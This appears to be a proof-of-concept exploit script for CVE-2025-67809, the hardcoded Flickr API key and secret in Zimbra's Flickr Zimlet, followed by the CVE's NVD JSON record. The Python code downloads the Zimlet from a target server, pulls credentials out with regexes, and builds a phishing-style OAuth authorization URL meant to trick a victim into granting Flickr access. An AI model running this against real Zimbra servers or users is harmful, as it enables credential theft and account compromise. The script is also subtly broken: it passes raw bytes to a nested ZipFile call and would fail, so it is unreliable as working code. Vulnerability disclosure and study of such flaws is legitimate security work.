CVE-2025-67809

# CVE-2025-67809 PoC - Zimbra Flickr Zimlet Hardcoded Credentials # This PoC demonstrates extraction of hardcoded Flickr API credentials from Zimbra Zimlet import zipfile import re import requests import json from urllib.parse import urlparse def extract_zimlet_credentials(zimlet_url): """ Extract hardcoded Flickr API credentials from Zimbra Flickr Zimlet """ print(f"[*] Downloading Zimlet from: {zimlet_url}") # Download the Zimlet ZIP file response = requests.get(zimlet_url, timeout=30) if response.status_code != 200: print(f"[-] Failed to download Zimlet: HTTP {response.status_code}") return None # Save and extract the ZIP file zimlet_data = response.content # Pattern to match Flickr API credentials in Zimlet files flickr_key_pattern = re.compile(r'flickr[_-]?(api[_-]?key|consumer[_-]?key)[=:]\s*["\']?([a-zA-Z0-9_-]{20,})["\']?', re.IGNORECASE) flickr_secret_pattern = re.compile(r'flickr[_-]?api[_-]?secret[=:]\s*["\']?([a-zA-Z0-9_-]{20,})["\']?', re.IGNORECASE) extracted_creds = { 'api_key': None, 'api_secret': None, 'files_analyzed': [] } try: with zipfile.ZipFile(zipfile.ZipFile(zimlet_data)) as zf: for filename in zf.namelist(): print(f"[+] Analyzing: {filename}") try: content = zf.read(filename).decode('utf-8', errors='ignore') extracted_creds['files_analyzed'].append(filename) # Search for API key key_match = flickr_key_pattern.search(content) if key_match and not extracted_creds['api_key']: extracted_creds['api_key'] = key_match.group(2) print(f"[!] Found Flickr API Key: {key_match.group(2)}") # Search for API secret secret_match = flickr_secret_pattern.search(content) if secret_match and not extracted_creds['api_secret']: extracted_creds['api_secret'] = secret_match.group(1) print(f"[!] Found Flickr API Secret: {secret_match.group(1)}") except Exception as e: continue except zipfile.BadZipFile: print("[-] Invalid ZIP file format") return None return extracted_creds def exploit_oauth_flow(api_key, api_secret, target_user): """ Simulate malicious OAuth flow using extracted credentials """ print(f"\n[*] Simulating OAuth attack against user: {target_user}") print(f"[*] Using API Key: {api_key}") # Construct malicious OAuth request oauth_base_url = "https://www.flickr.com/services/oauth/authorize" params = { 'oauth_token': 'malicious_request_token', # In real attack, obtain valid request token 'perms': 'read', 'api_key': api_key } malicious_url = f"{oauth_base_url}?oauth_token={params['oauth_token']}&perms={params['perms']}&api_key={params['api_key']}" print(f"[!] Malicious OAuth URL generated:") print(f" {malicious_url}") print(f"[!] If victim approves this request, attacker gains Flickr data access") return malicious_url if __name__ == "__main__": # Example usage zimlet_url = "http://target-zimbra.com/zimlet/com_zimbra_flickr.zip" print("=" * 60) print("CVE-2025-67809 PoC - Zimbra Flickr Zimlet Credential Extraction") print("=" * 60) # Step 1: Extract credentials creds = extract_zimlet_credentials(zimlet_url) if creds and creds['api_key'] and creds['api_secret']: print(f"\n[+] Successfully extracted credentials!") print(f" API Key: {creds['api_key']}") print(f" API Secret: {creds['api_secret']}") # Step 2: Demonstrate OAuth exploitation exploit_oauth_flow(creds['api_key'], creds['api_secret'], '[email protected]') else: print("[-] Failed to extract valid credentials")

{"cve": {"id": "CVE-2025-67809", "sourceIdentifier": "[email protected]", "published": "2025-12-15T20:15:52.103", "lastModified": "2025-12-30T20:30:14.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Zimbra Collaboration (ZCS) 10.0 and 10.1. A hardcoded Flickr API key and secret are present in the publicly accessible Flickr Zimlet used by Zimbra Collaboration. Because these credentials are embedded directly in the Zimlet, any unauthorized party could retrieve them and misuse the Flickr integration. An attacker with access to the exposed credentials could impersonate the legitimate application and initiate valid Flickr OAuth flows. If a user is tricked into approving such a request, the attacker could gain access to the user s Flickr data. The hardcoded credentials have since been removed from the Zimlet code, and the associated key has been revoked."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zimbra:collaboration:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.1.13", "matchCriteriaId": "CAF080C3-B8C0-4FDC-A812-8FA297EA1CD7"}]}]}], "references": [{"url": "https://wiki.zimbra.com/wiki/Security_Center", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}